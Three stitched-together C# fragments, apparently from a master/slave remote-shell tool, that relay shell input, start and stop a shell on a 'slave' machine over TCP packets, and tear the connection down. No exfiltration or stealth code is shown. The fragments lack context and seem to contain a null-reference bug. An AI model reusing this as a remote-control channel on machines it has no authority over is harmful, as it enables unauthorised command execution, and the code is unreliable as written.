private void ShellWindow_FormClosing(object sender, FormClosingEventArgs e) { DisconnectShellPacket setShellStatePacket = new DisconnectShellPacket(SlaveClient.UniqueId, Shell_UniqueId); Shell_Connection.SendPacket(setShellStatePacket); }
public DisconnectShellPacket_PacketProcessor(TcpConnection connection, DisconnectShellPacket packet, Dictionary <Guid, Client> connectedClients) { Connection = connection; Packet = packet; ConnectedClients = connectedClients; }
public override void HandlePacket(object sender, string packet_raw) { Packet packet = Packet.Deserialize(packet_raw); if (packet.Type == "Shell_IO_ChangedPacket") { Shell_IO_ChangedPacket shell_IO_changed = Shell_IO_ChangedPacket.Deserialize(packet_raw); if (shell_IO_changed.ChangeType == ChangeType.Input) { ShellInstance.Write(shell_IO_changed.Change); } } if (packet.Type == "SetShellStatePacket") { SetShellStatePacket setShellState = SetShellStatePacket.Deserialize(packet_raw); if (setShellState.ShellUniqueId != ShellInstance.UniqueId) { ShellStateSetPacket result_fail = new ShellStateSetPacket(setShellState.ClientUniqueId, setShellState.ShellUniqueId, setShellState.ShellState, false); Connection.SendPacket(result_fail); return; } switch (setShellState.ShellState) { case ShellState.Running: ShellInstance.Start(); break; case ShellState.Stopped: ShellInstance.Stop(); break; } ShellStateSetPacket result_success = new ShellStateSetPacket(setShellState.ClientUniqueId, setShellState.ShellUniqueId, setShellState.ShellState, true); Connection.SendPacket(result_success); } if (packet.Type == "DisconnectShellPacket") { DisconnectShellPacket disconnectShellPacket = DisconnectShellPacket.Deserialize(packet_raw); if (disconnectShellPacket.ClientUniqueId != Client.UniqueId) { ShellDisconnectedPacket result_fail = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, false); Connection.SendPacket(result_fail); return; } if (disconnectShellPacket.ShellUniqueId != ShellInstance.UniqueId) { ShellDisconnectedPacket result_fail = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, false); Connection.SendPacket(result_fail); return; } ShellInstance.Stop(); ShellInstance.ShellOutputChanged -= SlaveGlobalData.ShellOutputChangedHandler; SlaveGlobalData.ShellOutputChangedHandler = null; SlaveGlobalData.ShellInstance = null; if (SlaveGlobalData.ShellListenerLoop != null) { SlaveGlobalData.ShellListenerLoop.AbortLoop = true; SlaveGlobalData.ShellListenerLoop = null; } DisconnectPipePacket disconnectPipePacket = new DisconnectPipePacket(Client.UniqueId, PipeType.Shell); Client.Pipes.MainPipe.SendPacket(disconnectPipePacket); ShellDisconnectedPacket result_success = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, true); Connection.SendPacket(result_success); } }